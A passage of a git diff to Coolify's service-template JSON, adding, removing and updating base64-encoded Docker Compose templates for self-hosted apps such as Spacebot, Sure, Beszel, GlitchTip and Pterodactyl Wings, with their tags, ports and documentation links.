LSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=", - "tags": [ - "game", - "game server", - "management", - "panel", - "minecraft" - ], - "category": "media", - "logo": "svgs/pterodactyl.png", - "minversion": "0.0.0", - "port": "80, 8443" - }, "qbittorrent": { "documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io", "slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.", @@ -4404,6 +4331,25 @@ "minversion": "0.0.0", "port": "8989" }, + "spacebot": { + "documentation": "https://docs.spacebot.sh/docker?utm_source=coolify.io", + "slogan": "An agentic AI system with specialized processes for thinking, working, and remembering.", + "compose": "c2VydmljZXM6CiAgc3BhY2Vib3Q6CiAgICBpbWFnZTogJ2doY3IuaW8vc3BhY2Vkcml2ZWFwcC9zcGFjZWJvdDpmdWxsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1NQQUNFQk9UXzE5ODk4CiAgICAgIC0gJ0FOVEhST1BJQ19BUElfS0VZPSR7QU5USFJPUElDX0FQSV9LRVl9JwogICAgICAtICdPUEVOQUlfQVBJX0tFWT0ke09QRU5BSV9BUElfS0VZfScKICAgICAgLSAnT1BFTlJPVVRFUl9BUElfS0VZPSR7T1BFTlJPVVRFUl9BUElfS0VZfScKICAgICAgLSAnRElTQ09SRF9CT1RfVE9LRU49JHtESVNDT1JEX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0JPVF9UT0tFTj0ke1NMQUNLX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0FQUF9UT0tFTj0ke1NMQUNLX0FQUF9UT0tFTn0nCiAgICAgIC0gJ0JSQVZFX1NFQVJDSF9BUElfS0VZPSR7QlJBVkVfU0VBUkNIX0FQSV9LRVl9JwogICAgICAtICdTUEFDRUJPVF9DSEFOTkVMX01PREVMPSR7U1BBQ0VCT1RfQ0hBTk5FTF9NT0RFTH0nCiAgICAgIC0gJ1NQQUNFQk9UX1dPUktFUl9NT0RFTD0ke1NQQUNFQk9UX1dPUktFUl9NT0RFTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzcGFjZWJvdC1kYXRhOi9kYXRhJwogICAgc2VjdXJpdHlfb3B0OgogICAgICAtIHNlY2NvbXA9dW5jb25maW5lZAogICAgc2htX3NpemU6IDFnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1zZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjE5ODk4L2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwo=", + "tags": [ + "ai", + "agent", + "anthropic", + "openai", + "discord", + "slack", + "llm", + "agentic" + ], + "category": "ai", + "logo": "svgs/spacebot.png", + "minversion": "0.0.0", + "port": "19898" + }, "sparkyfitness": { "documentation": "https://codewithcj.github.io/SparkyFitness/?utm_source=coolify.io", "slogan": "SparkyFitness is a comprehensive fitness tracking and management application designed to help users monitor their nutrition, exercise, and body measurements. It provides tools for daily progress tracking, goal setting, and insightful reports to support a healthy lifestyle.", @@ -4548,6 +4494,22 @@ "minversion": "0.0.0", "port": "3567" }, + "sure": { + "documentation": "https://github.com/we-promise/sure?utm_source=coolify.io", + "slogan": "An all-in-one personal finance platform.", + "compose": "c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6ICdnaGNyLmlvL3dlLXByb21pc2Uvc3VyZTowLjYuNycKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1NVUkVfMzAwMAogICAgICAtIEFQUF9ET01BSU49JFNFUlZJQ0VfRlFETl9TVVJFCiAgICAgIC0gU0VDUkVUX0tFWV9CQVNFPSRTRVJWSUNFX0JBU0U2NF9CQVNFCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1zdXJlfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vdmFsa2V5OjYzNzknCiAgICAgIC0gREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtIFJBSUxTX0ZPUkNFX1NTTD1mYWxzZQogICAgICAtIFJBSUxTX0FTU1VNRV9TU0w9ZmFsc2UKICAgICAgLSAnT05CT0FSRElOR19TVEFURT0ke09OQk9BUkRJTkdfU1RBVEU6LW9wZW59JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICB2YWxrZXk6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtYXBwLXN0b3JhZ2U6L3JhaWxzL3N0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDE1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2hjci5pby93ZS1wcm9taXNlL3N1cmU6MC42LjcnCiAgICBjb21tYW5kOiAnYnVuZGxlIGV4ZWMgc2lkZWtpcScKICAgIGVudmlyb25tZW50OgogICAgICAtIEFQUF9ET01BSU49JFNFUlZJQ0VfRlFETl9TVVJFCiAgICAgIC0gU0VDUkVUX0tFWV9CQVNFPSRTRVJWSUNFX0JBU0U2NF9CQVNFCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1zdXJlfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vdmFsa2V5OjYzNzknCiAgICAgIC0gREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtIFJBSUxTX0ZPUkNFX1NTTD1mYWxzZQogICAgICAtIFJBSUxTX0FTU1VNRV9TU0w9ZmFsc2UKICAgICAgLSAnT05CT0FSRElOR19TVEFURT0ke09OQk9BUkRJTkdfU1RBVEU6LW9wZW59JwogICAgdm9sdW1lczoKICAgICAgLSAnc3VyZS1hcHAtc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgdmFsa2V5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDE1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtcG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgdmFsa2V5OgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjgtYWxwaW5lJwogICAgY29tbWFuZDogJ3ZhbGtleS1zZXJ2ZXIgLS1hcHBlbmRvbmx5IHllcycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtdmFsa2V5Oi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd2YWxrZXktY2xpIHBpbmcgfCBncmVwIFBPTkcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgICAgIHN0YXJ0X3BlcmlvZDogM3MK", + "tags": [ + "budgeting", + "budget", + "money", + "expenses", + "income" + ], + "category": "finance", + "logo": "svgs/sure.png", + "minversion": "0.0.0", + "port": "3000" + }, "swetrix": { "documentation": "https://docs.swetrix.com/selfhosting/how-to?utm_source=coolify.io", "slogan": "Privacy-friendly and cookieless European web analytics alternative to Google Analytics.", diff --git a/templates/service-templates.json b/templates/service-templates.json index 545d9c62e..580834a21 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -254,7 +254,7 @@ "beszel-agent": { "documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io", "slogan": "Monitoring agent for Beszel", - "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==", + "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfRlFETl9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", "tags": [ "beszel", "monitoring", @@ -269,7 +269,7 @@ "beszel": { "documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io", "slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.", - "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTYuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtICdIVUJfVVJMPWh0dHA6Ly9iZXN6ZWw6ODA5MCcKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICB2b2x1bWVzOgogICAgICAtICdiZXN6ZWxfYWdlbnRfZGF0YTovdmFyL2xpYi9iZXN6ZWwtYWdlbnQnCiAgICAgIC0gJ2Jlc3plbF9zb2NrZXQ6L2Jlc3plbF9zb2NrZXQnCiAgICAgIC0gJy92YXIvcnVuL2RvY2tlci5zb2NrOi92YXIvcnVuL2RvY2tlci5zb2NrOnJvJwo=", + "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgICAgLSAnQ09OVEFJTkVSX0RFVEFJTFM9JHtDT05UQUlORVJfREVUQUlMUzotdHJ1ZX0nCiAgICAgIC0gJ1NIQVJFX0FMTF9TWVNURU1TPSR7U0hBUkVfQUxMX1NZU1RFTVM6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYmVzemVsCiAgICAgICAgLSBoZWFsdGgKICAgICAgICAtICctLXVybCcKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwOTAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTguNCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gSFVCX1VSTD0kU0VSVklDRV9GUUROX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "beszel", "monitoring", @@ -1758,19 +1758,17 @@ }, "glitchtip": { "documentation": "https://glitchtip.com?utm_source=coolify.io", - "slogan": "GlitchTip is a self-hosted, open-source error tracking system.", - "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR0xJVENIVElQXzgwODAKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUxAcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTUUxfREFUQUJBU0U6LWdsaXRjaHRpcH0nCiAgICAgIC0gU0VDUkVUX0tFWT0kU0VSVklDRV9CQVNFNjRfNjRfRU5DUllQVElPTgogICAgICAtICdFTUFJTF9VUkw9JHtFTUFJTF9VUkw6LWNvbnNvbGVtYWlsOi8vfScKICAgICAgLSAnR0xJVENIVElQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HTElUQ0hUSVB9JwogICAgICAtICdERUZBVUxUX0ZST01fRU1BSUw9JHtERUZBVUxUX0ZST01fRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdDRUxFUllfV09SS0VSX0FVVE9TQ0FMRT0ke0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFOi0xLDN9JwogICAgICAtICdDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ9JHtDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ6LTEwMDAwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2NvZGUvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSBvawogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd29ya2VyOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGNvbW1hbmQ6IC4vYmluL3J1bi1jZWxlcnktd2l0aC1iZWF0LnNoCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX